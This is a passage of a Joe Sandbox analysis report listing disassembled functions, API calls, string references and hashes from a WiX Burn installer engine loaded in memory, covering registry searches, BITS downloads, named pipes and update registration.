Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16
String ID: AssignmentType$Failed to change value type.$Failed to copy upgrade code.$Failed to enumerate related products for upgrade code.$Failed to format GUID string.$Failed to get product info.$Failed to set variable.$Language$MsiProductSearch failed: ID '%ls', HRESULT 0x%x$Product or related product not found: %ls$State$Trying per-machine extended info for property '%ls' for product: %ls$Trying per-user extended info for property '%ls' for product: %ls$Unsupported product search type: %u$VersionString
API String ID: 3613110473-2134270738
Opcode ID: 03c93db02461ea97df9df5a093b65c7870010773bf13429056329639da2e33ff
Instruction ID: dba8fbd2d6834cb5e550865680a67951d112f9ad587f0c23d78446038fb4f621
Opcode Fuzzy Hash: 03c93db02461ea97df9df5a093b65c7870010773bf13429056329639da2e33ff
Instruction Fuzzy Hash: 9561E332D40159BBCB229EA9CD45FAE7B78EB8A714F200065F914BB251C336DE50D7D2

Function 009B4B2A Relevance: 28.2, APIs: 7, Strings: 9, Instructions: 158sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?), ref: 009B4B84
GetLastError.KERNEL32 ref: 009B4B92
Sleep.KERNEL32(00000064), ref: 009B4BB6

Strings

feclient.dll, xrefs: 009B4BE9, 009B4C84, 009B4C98, 009B4CDC
Failed to open parent pipe: %ls, xrefs: 009B4BDC
Failed to verify parent pipe: %ls, xrefs: 009B4BFE
Failed to open companion process with PID: %u, xrefs: 009B4CDE
pipe.cpp, xrefs: 009B4BCF, 009B4CD2
Failed to allocate name of parent pipe., xrefs: 009B4B50
\\.\pipe\%ls, xrefs: 009B4B3C
\\.\pipe\%ls.Cache, xrefs: 009B4C17
Failed to allocate name of parent cache pipe., xrefs: 009B4C2B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateErrorFileLastSleep
String ID: Failed to allocate name of parent cache pipe.$Failed to allocate name of parent pipe.$Failed to open companion process with PID: %u$Failed to open parent pipe: %ls$Failed to verify parent pipe: %ls$\\.\pipe\%ls$\\.\pipe\%ls.Cache$feclient.dll$pipe.cpp
API String ID: 408151869-3212458075
Opcode ID: cec826e920f06c0297d6671e2192ed2c612196a821d3053bb4d2843ca07a25ce
Instruction ID: 675cb91bb2fb4b70c5b50d5d1c3a0acb55eb47f3850429ab6506ece1a423f2ef
Opcode Fuzzy Hash: cec826e920f06c0297d6671e2192ed2c612196a821d3053bb4d2843ca07a25ce
Instruction Fuzzy Hash: 89412A36D85636BBDB2156A08E46FEF7A58AF50B30F110221FF00BB292D765AD10A7D4

Function 009AF585 Relevance: 28.2, APIs: 1, Strings: 15, Instructions: 152registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000000,009B04DF,InstallerVersion,InstallerVersion,00000000,009B04DF,InstallerName,InstallerName,00000000,009B04DF,Date,InstalledDate,00000000,009B04DF,LogonUser), ref: 009AF733

Part of subcall function 009E14F4: RegSetValueExW.ADVAPI32(00020006,009F0D10,00000000,00000001,?,00000000,?,000000FF,00000000,00000000,?,?,009AF335,00000000,?,00020006), ref: 009E1527

Strings

PublishingGroup, xrefs: 009AF667, 009AF67A
InstallerVersion, xrefs: 009AF701, 009AF706, 009AF707, 009AF717
PackageVersion, xrefs: 009AF61F, 009AF632
InstallerName, xrefs: 009AF6E4, 009AF6E9, 009AF6EA, 009AF6FA
Date, xrefs: 009AF6C9
ThisVersionInstalled, xrefs: 009AF5DF, 009AF5F2
Failed to get the formatted key path for update registration., xrefs: 009AF5A7
InstalledDate, xrefs: 009AF6C4, 009AF6DD
LogonUser, xrefs: 009AF6A9
Publisher, xrefs: 009AF63F, 009AF652
Failed to create the key for update registration., xrefs: 009AF5D3
PackageName, xrefs: 009AF5FF, 009AF612
ReleaseType, xrefs: 009AF68A, 009AF68F, 009AF69E
InstalledBy, xrefs: 009AF6A4, 009AF6BD
Failed to write %ls value., xrefs: 009AF71C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseValue
String ID: Date$Failed to create the key for update registration.$Failed to get the formatted key path for update registration.$Failed to write %ls value.$InstalledBy$InstalledDate$InstallerName$InstallerVersion$LogonUser$PackageName$PackageVersion$Publisher$PublishingGroup$ReleaseType$ThisVersionInstalled
API String ID: 3132538880-2703781546
Opcode ID: 4bbf723de3b80d68ec58560ddbe7a65088ac169a9ea450b4cec7c09ccd961af7
Instruction ID: 01a2e2dd6047d74f7b29613a8f6db70727b25a07c5ec8f6c63a043b3293b7041
Opcode Fuzzy Hash: 4bbf723de3b80d68ec58560ddbe7a65088ac169a9ea450b4cec7c09ccd961af7
Instruction Fuzzy Hash: 0541E932A446ADB7CF2366D4CC12FBE7A64AB92B18F150170FA00B6262D7709E10A7C4

Function 009BE7B4 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 137registryCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,?), ref: 009BE7FF
RegisterClassW.USER32(?), ref: 009BE82B
GetLastError.KERNEL32 ref: 009BE836
CreateWindowExW.USER32(00000080,009F9E54,00000000,90000000,80000000,00000008,00000000,00000000,00000000,00000000,?,?), ref: 009BE89D
GetLastError.KERNEL32 ref: 009BE8A7
UnregisterClassW.USER32(WixBurnMessageWindow,?), ref: 009BE945

Strings

Failed to create window., xrefs: 009BE8D5
WixBurnMessageWindow, xrefs: 009BE824, 009BE940
Unexpected return value from message pump., xrefs: 009BE930
Failed to register window., xrefs: 009BE864
uithread.cpp, xrefs: 009BE85A, 009BE8CB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ClassErrorLast$CreateRegisterUnregisterValueWindow
String ID: Failed to create window.$Failed to register window.$Unexpected return value from message pump.$WixBurnMessageWindow$uithread.cpp
API String ID: 213125376-288575659
Opcode ID: 7f9d5d212e0334e78fa2041ba55dabd996440a56743c46bc3c44d4a4c9a5688f
Instruction ID: df344d4a35abfad519f4b8e7c87d670dee825376ff51370024aa45477c60719b
Opcode Fuzzy Hash: 7f9d5d212e0334e78fa2041ba55dabd996440a56743c46bc3c44d4a4c9a5688f
Instruction Fuzzy Hash: 5341B672901229ABDB218BA5DD85BDFBFBCFF08760F104125F914AB190D730AD04DBA1

Function 009CC774 Relevance: 26.5, APIs: 1, Strings: 14, Instructions: 272COMMON

Download Yara Rule

Strings

Failed to copy uninstall arguments for passthrough bundle package, xrefs: 009CCAAC
Failed to copy key for passthrough pseudo bundle., xrefs: 009CC988
Failed to recreate command-line arguments., xrefs: 009CCA43
Failed to copy download source for passthrough pseudo bundle., xrefs: 009CC98F
Failed to copy related arguments for passthrough bundle package, xrefs: 009CCA82
Failed to allocate memory for pseudo bundle payload hash., xrefs: 009CC9AD
Failed to copy local source path for passthrough pseudo bundle., xrefs: 009CC9B7
Failed to copy cache id for passthrough pseudo bundle., xrefs: 009CCA05
pseudobundle.cpp, xrefs: 009CC7A8, 009CC9A1, 009CC9DB
Failed to copy key for passthrough pseudo bundle payload., xrefs: 009CC9C5
Failed to copy filename for passthrough pseudo bundle., xrefs: 009CC9BE
Failed to allocate space for burn payload inside of related bundle struct, xrefs: 009CC9E7
Failed to allocate space for burn package payload inside of passthrough bundle., xrefs: 009CC7B4
Failed to copy install arguments for passthrough bundle package, xrefs: 009CCA62

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: Failed to allocate memory for pseudo bundle payload hash.$Failed to allocate space for burn package payload inside of passthrough bundle.$Failed to allocate space for burn payload inside of related bundle struct$Failed to copy cache id for passthrough pseudo bundle.$Failed to copy download source for passthrough pseudo bundle.$Failed to copy filename for passthrough pseudo bundle.$Failed to copy install arguments for passthrough bundle package$Failed to copy key for passthrough pseudo bundle payload.$Failed to copy key for passthrough pseudo bundle.$Failed to copy local source path for passthrough pseudo bundle.$Failed to copy related arguments for passthrough bundle package$Failed to copy uninstall arguments for passthrough bundle package$Failed to recreate command-line arguments.$pseudobundle.cpp
API String ID: 1357844191-115096447
Opcode ID: 695554d29f3c0ca1b09b4859eec4ace57f27e529b6c04cc0e712bcd7f09b7875
Instruction ID: 5bb3ba366a91d97903bba2ed627146a252122aeeb1a0d10bc3bbf1691fd749cd
Opcode Fuzzy Hash: 695554d29f3c0ca1b09b4859eec4ace57f27e529b6c04cc0e712bcd7f09b7875
Instruction Fuzzy Hash: 5CB178B5A0061AEFCB11CF28C881F56BBA5FF48714F118669FD18AB361CB31E851DB91

Function 009CDE46 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 204stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 009CDE61

Strings

Failed while waiting for BITS download., xrefs: 009CE012
Failed to download BITS job., xrefs: 009CDFF8
Failed to add file to BITS job., xrefs: 009CDF2E
Failed to complete BITS job., xrefs: 009CE00B
bitsengine.cpp, xrefs: 009CDE77, 009CDF6A
Failed to create BITS job callback., xrefs: 009CDF74
Invalid BITS engine URL: %ls, xrefs: 009CDE83
Failed to create BITS job., xrefs: 009CDEF0
Falied to start BITS job., xrefs: 009CE019
Failed to copy download URL., xrefs: 009CDEA8
Failed to set callback interface for BITS job., xrefs: 009CDF99
Failed to initialize BITS job callback., xrefs: 009CDF82
Failed to set credentials for BITS job., xrefs: 009CDF0F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: lstrlen
String ID: Failed to add file to BITS job.$Failed to complete BITS job.$Failed to copy download URL.$Failed to create BITS job callback.$Failed to create BITS job.$Failed to download BITS job.$Failed to initialize BITS job callback.$Failed to set callback interface for BITS job.$Failed to set credentials for BITS job.$Failed while waiting for BITS download.$Falied to start BITS job.$Invalid BITS engine URL: %ls$bitsengine.cpp
API String ID: 1659193697-2382896028
Opcode ID: 164085da09be0e27067bd7ec39690018d9bb608c31f8b073b1bb3ed9415aaf89
Instruction ID: 889358b851097129a5d85cea8c5147439ea54b205fd37be2a3bf536959106973
Opcode Fuzzy Hash: 164085da09be0e27067bd7ec39690018d9bb608c31f8b073b1bb3ed9415aaf89
Instruction Fuzzy Hash: 8B61D331E05229FBCB129F94C885F6E7BA4AF49B20B11455EFC06AF291D7B4DD009BD2

Function 009ABC93 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 190processCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009ABCE5
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000200,00000000,?,00000044,?,?,?,?,?), ref: 009ABDF2
GetLastError.KERNEL32(?,?,?,?), ref: 009ABDFC
WaitForInputIdle.USER32(?,?), ref: 009ABE50
CloseHandle.KERNEL32(?,?,?), ref: 009ABE9B
CloseHandle.KERNEL32(?,?,?), ref: 009ABEA8

Strings

"%ls", xrefs: 009ABD62, 009ABD7C
approvedexe.cpp, xrefs: 009ABE20
Failed to CreateProcess on path: %ls, xrefs: 009ABE2D
Failed to format argument string., xrefs: 009ABCF0
Failed to create executable command., xrefs: 009ABD1F
Failed to create obfuscated executable command., xrefs: 009ABD90
D, xrefs: 009ABDD1
Failed to format obfuscated argument string., xrefs: 009ABD3C
"%ls" %s, xrefs: 009ABD0B, 009ABD4C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$CreateErrorIdleInputLastOpen@16ProcessWait
String ID: "%ls"$"%ls" %s$D$Failed to CreateProcess on path: %ls$Failed to create executable command.$Failed to create obfuscated executable command.$Failed to format argument string.$Failed to format obfuscated argument string.$approvedexe.cpp
API String ID: 155678114-2737401750
Opcode ID: fac774b0ea116b4c7ed0034973d5c4b03a99f0d627a8a83820b23416417e0414
Instruction ID: 165b20ab69b6723acf1652e145caca9734883a1faa969dab97d71e1428ea8c23
Opcode Fuzzy Hash: fac774b0ea116b4c7ed0034973d5c4b03a99f0d627a8a83820b23416417e0414
Instruction Fuzzy Hash: 0D518C72D0065ABBCF22AFD5CC42EEEBB78BF45310B104566FA14B6162E7319E509BD0

Function 009C69D2 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 153serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,00000000,?,?,?,?,?,?,?,?,009C6F28,?), ref: 009C6A0B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,009C6F28,?,?,?), ref: 009C6A18
OpenServiceW.ADVAPI32(00000000,wuauserv,00000027,?,?,?,?,?,?,?,?,009C6F28,?,?,?), ref: 009C6A60
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,009C6F28,?,?,?), ref: 009C6A6C
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,009C6F28,?,?,?), ref: 009C6AA6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,009C6F28,?,?,?), ref: 009C6AB0
CloseServiceHandle.ADVAPI32(00000000), ref: 009C6B67
CloseServiceHandle.ADVAPI32(?), ref: 009C6B71

Strings

Failed to mark WU service to start on demand., xrefs: 009C6B38
wuauserv, xrefs: 009C6A5A
Failed to read configuration for WU service., xrefs: 009C6B17
Failed to open WU service., xrefs: 009C6A9A
Failed to query status of WU service., xrefs: 009C6ADE
msuengine.cpp, xrefs: 009C6A3C, 009C6A90, 009C6AD4
Failed to open service control manager., xrefs: 009C6A46

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Service$ErrorLast$CloseHandleOpen$ManagerQueryStatus
String ID: Failed to mark WU service to start on demand.$Failed to open WU service.$Failed to open service control manager.$Failed to query status of WU service.$Failed to read configuration for WU service.$msuengine.cpp$wuauserv
API String ID: 971853308-301359130
Opcode ID: d2e0cd7a6a09d75291af73fe9be3d1da9e9d10ac388ea4d2cf8514ae014fb9bb
Instruction ID: 643a4a8930c4fe4b05b5a04acbc9d691d656ba3a48e86062187de946f3d991d1
Opcode Fuzzy Hash: d2e0cd7a6a09d75291af73fe9be3d1da9e9d10ac388ea4d2cf8514ae014fb9bb
Instruction Fuzzy Hash: 3B41C872E45329ABD7219FA58C85FBFB7A8AB48710F118429FE01FB241D774DC009AA1

Function 009AA28B Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 138registryCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009AA2B3
_MREFOpen@16.MSPDB140-MSVCRT ref: 009AA30E
RegQueryValueExW.ADVAPI32(000002C0,00000100,00000000,000002C0,00000000,00000000,000002C0,?,00000100,00000000,?,00000000,?,000002C0,000002C0,?), ref: 009AA32F
RegCloseKey.ADVAPI32(00000000,00000100,00000000,000002C0,00000100,00000000,000002C0), ref: 009AA405

Strings

RegistrySearchExists failed: ID '%ls', HRESULT 0x%x, xrefs: 009AA3DD
Failed to open registry key. Key = '%ls', xrefs: 009AA3C7
Registry key not found. Key = '%ls', xrefs: 009AA396
search.cpp, xrefs: 009AA360
Failed to set variable., xrefs: 009AA3BD
Failed to format key string., xrefs: 009AA2BE
Registry value not found. Key = '%ls', Value = '%ls', xrefs: 009AA37A
Failed to query registry key value., xrefs: 009AA36A
Failed to format value string., xrefs: 009AA319

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16$CloseQueryValue
String ID: Failed to format key string.$Failed to format value string.$Failed to open registry key. Key = '%ls'$Failed to query registry key value.$Failed to set variable.$Registry key not found. Key = '%ls'$Registry value not found. Key = '%ls', Value = '%ls'$RegistrySearchExists failed: ID '%ls', HRESULT 0x%x$search.cpp
API String ID: 2702208347-46557908
Opcode ID: d7942191bd957fccc2c9fc2ee0a416b96e9d6ffb24a950029d039cc47b468424
Instruction ID: 6d419579332b7152ba6855b017ea7747021518bd1f929b96768a5dc8458a71fc
Opcode Fuzzy Hash: d7942191bd957fccc2c9fc2ee0a416b96e9d6ffb24a950029d039cc47b468424
Instruction Fuzzy Hash: 06410632D00168BBCF235B95CC06FAFBA68EB85710F104250FD14B6152D7769E10E7D2

Function 009AB208 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 137COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,?,009ABAFB,00000008,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB210
GetLastError.KERNEL32(?,009ABAFB,00000008,?,00000000,00000000,?,?,?,00000000,76EEC3F0,00000000), ref: 009AB21C

Strings

Failed to find valid DOS image header in buffer., xrefs: 009AB27D
Failed to read section info, unsupported version: %08x, xrefs: 009AB35E
Failed to get module handle to process., xrefs: 009AB24A
.wixburn, xrefs: 009AB2BE
Failed to read section info, data to short: %u, xrefs: 009AB314
Bundle guid didn't match the guid in the PE Header in memory., xrefs: 009AB39B
burn, xrefs: 009AB2EB
Failed to find Burn section., xrefs: 009AB332
Failed to find valid NT image header in buffer., xrefs: 009AB2A8
.wix, xrefs: 009AB2E3
section.cpp, xrefs: 009AB240, 009AB271, 009AB29C, 009AB305, 009AB326, 009AB34F, 009AB38F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: .wix$.wixburn$Bundle guid didn't match the guid in the PE Header in memory.$Failed to find Burn section.$Failed to find valid DOS image header in buffer.$Failed to find valid NT image header in buffer.$Failed to get module handle to process.$Failed to read section info, data to short: %u$Failed to read section info, unsupported version: %08x$burn$section.cpp
API String ID: 4242514867-926796631
Opcode ID: 851e39a7fe8ee7de9062e474e948bbcfc88984ad45609592ec63e2be4e16da11
Instruction ID: 000449e947216a7e1de5cfd500f343c7fc5e1c07a0f0fbba6ce11514463865a4
Opcode Fuzzy Hash: 851e39a7fe8ee7de9062e474e948bbcfc88984ad45609592ec63e2be4e16da11
Instruction Fuzzy Hash: 18415B32280310E7CF2219868C46F6F2654EFD7B31B25802EFD215F283DBA9CC0282E5

Function 009A694B Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 133libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,ntdll,?), ref: 009A699B
GetLastError.KERNEL32 ref: 009A69A5
GetProcAddress.KERNEL32(?,RtlGetVersion), ref: 009A69E8
GetLastError.KERNEL32 ref: 009A69F2
FreeLibrary.KERNEL32(00000000,00000000,?), ref: 009A6B03

Strings

Failed to get OS info., xrefs: 009A6A43
Failed to set variant value., xrefs: 009A6AE7
ntdll, xrefs: 009A6995
RtlGetVersion, xrefs: 009A69DD
Failed to locate RtlGetVersion., xrefs: 009A6A20
variable.cpp, xrefs: 009A69C9, 009A6A16
Failed to locate NTDLL., xrefs: 009A69D3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$AddressFreeHandleLibraryModuleProc
String ID: Failed to get OS info.$Failed to locate NTDLL.$Failed to locate RtlGetVersion.$Failed to set variant value.$RtlGetVersion$ntdll$variable.cpp
API String ID: 3057421322-109962352
Opcode ID: d0042670df33016f6e1dc1420a23bdef6506ed96c3ffe74df4fc4fc217625242
Instruction ID: dfc96ef89d036d8961dcf2e04d68228d14efce29df179ee0da9b506009229dcf
Opcode Fuzzy Hash: d0042670df33016f6e1dc1420a23bdef6506ed96c3ffe74df4fc4fc217625242
Instruction Fuzzy Hash: D541E372D012399BCB329F658C49BEA7BA8EB49710F044199FD48F6281E7759E80CBD0

Function 009A48EF Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130memorysynchronizationCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,00000001,00000001,00000000,00000000,?,?,?,009A5466,?,?,?,?), ref: 009A4920
GetLastError.KERNEL32(?,?,?,009A5466,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009A4931
ReleaseMutex.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 009A4A6E
CloseHandle.KERNEL32(?,?,?,?,009A5466,?,?,?,?,?,?,?,?,?,?,?), ref: 009A4A77

Strings

Failed to connect to unelevated process., xrefs: 009A4916
Failed to set elevated pipe into thread local storage for logging., xrefs: 009A49A8
engine.cpp, xrefs: 009A4955, 009A499E
comres.dll, xrefs: 009A49DD
Failed to allocate thread local storage for logging., xrefs: 009A495F
Failed to pump messages from parent process., xrefs: 009A4A42
Failed to create the message window., xrefs: 009A49CC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AllocCloseErrorHandleLastMutexRelease
String ID: Failed to allocate thread local storage for logging.$Failed to connect to unelevated process.$Failed to create the message window.$Failed to pump messages from parent process.$Failed to set elevated pipe into thread local storage for logging.$comres.dll$engine.cpp
API String ID: 687263955-1790235126
Opcode ID: 1cb5ffec1f9899da504079c78407d56f458bc0d76908ad8332060a0a040da694
Instruction ID: e7f9cc562ebb29bb39a2ce83782b0ecc7235ebcc781e11a4e95456f302905028
Opcode Fuzzy Hash: 1cb5ffec1f9899da504079c78407d56f458bc0d76908ad8332060a0a040da694
Instruction Fuzzy Hash: 6741B673940666BBC7129BA1CC85FEFBB6CBFC5720F000226BA15A7151DBB0AD5097E0

Function 009B3B4E Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,?,00000000,crypt32.dll), ref: 009B3BA2
GetLastError.KERNEL32(?,00000000,crypt32.dll), ref: 009B3BAC
GetCurrentProcessId.KERNEL32(?,?,?,00000104,?,?,00000000,crypt32.dll), ref: 009B3C15
ProcessIdToSessionId.KERNEL32(00000000,?,00000000,crypt32.dll), ref: 009B3C1C
CompareStringW.KERNEL32(00000000,00000000,?,?,?,?,?,7FFFFFFF,?,?,?,?,?,00000000,crypt32.dll), ref: 009B3CA6

Strings

Failed to get length of temp folder., xrefs: 009B3C06
Failed to format session id as a string., xrefs: 009B3C4A
Failed to get length of session id string., xrefs: 009B3C71
%u\, xrefs: 009B3C36
Failed to copy temp folder., xrefs: 009B3CCF
crypt32.dll, xrefs: 009B3B61
Failed to get temp folder., xrefs: 009B3BDA
logging.cpp, xrefs: 009B3BD0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
